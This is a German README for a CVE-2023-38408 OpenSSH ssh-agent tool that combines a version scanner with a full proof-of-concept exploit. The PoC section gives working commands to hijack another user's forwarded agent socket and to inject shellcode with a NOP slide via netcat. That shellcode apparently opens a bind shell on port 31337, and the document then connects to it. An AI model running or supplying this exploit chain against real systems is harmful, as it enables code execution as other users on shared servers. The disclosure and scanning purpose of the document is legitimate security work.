
CVE-2023-38408 SSH-Schwachstellenscanner & PoC
Eine Sicherheitslücke wurde in OpenSSH (vor Version 9.3p2) gefunden. Das PKCS#11-Feature im ssh-Agent von OpenSSH hat einen unzureichend vertrauenswürdigen Suchpfad, was zu einer Remote-Codeausführung führt, wenn ein Agent an ein vom Angreifer kontrolliertes System weitergeleitet wird (der Code in /usr/lib ist nicht unbedingt sicher zum Laden in den ssh-Agent). Diese Schwachstelle erlaubt es einem Angreifer, der Kontrolle über den weitergeleiteten Agent-Socket auf dem Server hat und in der Lage ist, auf das Dateisystem des Client-Hosts zu schreiben, beliebigen Code mit den Berechtigungen des Benutzers auszuführen, der den ssh-Agent ausführt.
Im folgenden Beispiel können wir kurz die Schritte von der Erkundung bis zur Kompromittierung von Alices Benutzer beobachten.
Wie bereits erwähnt, werden wir in diesem POC zwei Benutzer verwenden, die per SSH mit einem Server verbunden sind. Um die folgenden Schritte ausführen zu können, gehen wir davon aus, dass beide Benutzer bereits Zugriff auf den Server (SSH) haben.
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
Drücken Sie schließlich Strg-C, um die Netcat-Übertragung zu stoppen, sobald der Shellcode erfolgreich im Speicher des Agents platziert wurde.
[!NOTE] Auslösung von SIGSEGV 💬
SIGSEGV ist ein Signal, das an einen Computerprozess gesendet wird, wenn ein ungültiger Speicherzugriff (Segmentation Fault) auftritt. Beim Empfang des SIGSEGV-Signals erkennt der Kernel, dass ein ungültiger Speicherzugriff stattgefunden hat, und ruft den benutzerdefinierten Signal-Handler auf, anstatt das Programm abrupt zu beenden. Auf diese Weise ergreift der Angreifer die Gelegenheit, die Programmausführung zu manipulieren und sie in Richtung des eingeschleusten schädlichen Codes zu lenken, der sich im NOP-Slide befindet.
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]
nc localhost 31337
Die Sicherheitslücke betrifft hauptsächlich Systeme, auf denen der SSH-Agent von OpenSSH verwendet wird und die Agent-Weiterleitungsfunktion aktiviert ist. Organisationen und Einzelpersonen, die auf OpenSSH angewiesen sind, sollten umgehend ihre Konfigurationen überprüfen, um eine mögliche Gefährdung festzustellen. Wenn Ihr System die genannten Bedingungen erfüllt, ist es entscheidend, sofort Maßnahmen zu ergreifen, um das mit CVE-2023-38408 verbundene Risiko zu mindern.
git clone https://github.com/TX-One/CVE-2023-38408.git
cd CVE-2023-38408
python CVE-2023-38408_scanner.py -t <target> -p <port>
Client Server
| --- SSH-2.0-Client_Test ----> |
| <---- SSH Server Banner ----- |
TXOne SSH Vulnerability Scanner : CVE-2023-38408
Developed by TXOne
[+] Connecting to 192.168.1.100:22...
[+] Received banner: SSH-2.0-OpenSSH_9.2
[+] OpenSSH Version Detected: 9.2
[!] Vulnerable OpenSSH version detected: 9.2
Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Holen Sie stets die entsprechende Genehmigung ein, bevor Sie Netzwerkressourcen scannen.